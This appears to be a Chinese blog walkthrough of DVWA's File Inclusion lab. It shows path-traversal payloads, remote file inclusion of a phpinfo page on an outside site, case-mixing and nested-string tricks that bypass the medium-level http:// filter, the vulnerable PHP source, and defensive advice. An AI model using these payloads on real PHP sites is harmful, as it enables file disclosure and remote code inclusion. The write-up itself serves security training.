linux下dvwa文件远程包含漏洞,DVWA之File Inclusion文件包含漏洞

File Inclusion文件包含漏洞

9dfb28bc697569d07844b4692b5b725c.png

主要的利用点在?page=… 构造page后边的路径,如果没有限制可以访问任意的文件。

(1)访问服务器存在的文件

测试用例:?page=../../robots.txt

访问网站根目录下的robots.txt文件,结果如下:

fe2f9f59d6e2134bc1443aa0d95c2268.png

还有可能爆出phpinfo的信息,测试如下: ?page=../../phpinfo.php

d9a263a198d46c6de70ba1fa6126a146.png

这样就为以后的渗透入侵提权等提供了很多的便利。

(2)访问服务器不存在的文件

测试用例:?page=hehe.php

访问同路径下的一个hehe.php(本身不存在),会报错,爆出服务器绝对路径,结果如下:

a32a0b65f96e71f6a44fa16d09269bb0.png

(3)访问服务器非网站上的绝对路径下的文件

测试用例:?page=h:/test.txt (在H盘下建立的一个测试文件)

fc3a0b7ed0e9356bc288cfe491bfe5ca.png

(4)试一下远程文件包含,访问一个远程服务器上的文件

测试用例 ?page=http://xxx.com/phpinfo.php  通过google hacking 找到一个存在phpinfo.php的站点测试

结果如下:

46f247159949eadc7619f38276c8e76b.png

发现由于 allow_url_include没开启,不能进行远程文件包含,我们可以手动修改php.ini文件将选项开启

allow_url_include = On

重启Apache,然后访问上述用例,返回:

4157bc5a66d47e3c74e42a9fed599dbf.png

可以实现远程文件包含,这样漏洞破坏力更强了。

我们查看漏洞的源代码来分析漏洞产生以及防御

(1)Low Security Level

$file = $_GET['page']; //The page we wish to display

?>

(2)Medium Security Level

$file = $_GET['page']; // The page we wish to display

// Bad input validation

$file = str_replace("http://", "", $file);

$file = str_replace("https://", "", $file);

?>

(3)High Security Level

$file = $_GET['page']; //The page we wish to display

// Only allow include.php

if ( $file != "include.php" ) {

echo "ERROR: File not found!";

exit;

}

?>

通过对以上三种不同等级代码的分析我们得到:

(1)Low Level:对获得的page参数未进行任何处理,很明显存在任意文件包含漏洞

(2)Medium Level:对page参数中的http://  以及  https://  进行了过滤,防止远程文件调用。

测试发现确实访问出现错误:

dfa8a6a5c9e556432d3f3d142033d63e.png

但这种防护策略并没什么卵用,这样的代码非常容易绕过去。

绕过方法:

大小写混淆法:如构造HTTP HttP hTTp等等大小写混淆的字符。测试  ?page=HTTP://xxx.com/phpinfo.php

测试结果如下:

41f9ef533adfdb0a18a55f7cd3b05ae6.png

二次构造法:从源代码中可以看到对敏感字符 http://的过滤不是递归的,只有一次,所以采用二次构造法如

?page=htthttp://p://xxx.com/phpinfo.php就可以轻松绕过

测试结果如下:

79dc226073b4304897244d0c2227839a.png

(3)High Level:这个基本上是把路径写死了,除了include.php其他路径下的文件全都无法访问。好吧,是在下输了。

文件包含漏洞的防御:

(1)限制文件路径的访问权限,尤其是敏感路径文件,要禁止访问

(2)对于远程文件包含的配置项应当谨慎设置,如 allow_url_fopen, allow_url_inclde, magic_quotes_gpc等,如果安全要求高,应当关闭远程配置项,设置为Off;对于字符处理过滤设置成On。

(3)避免动态变量,采用黑白名单的方式限制访问的文件路径

(4)过滤掉敏感的路径符号,如 ../ 等,将这些敏感字符加入到黑名单中

(5)设置php.ini 时要重点考虑安全性能选项

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值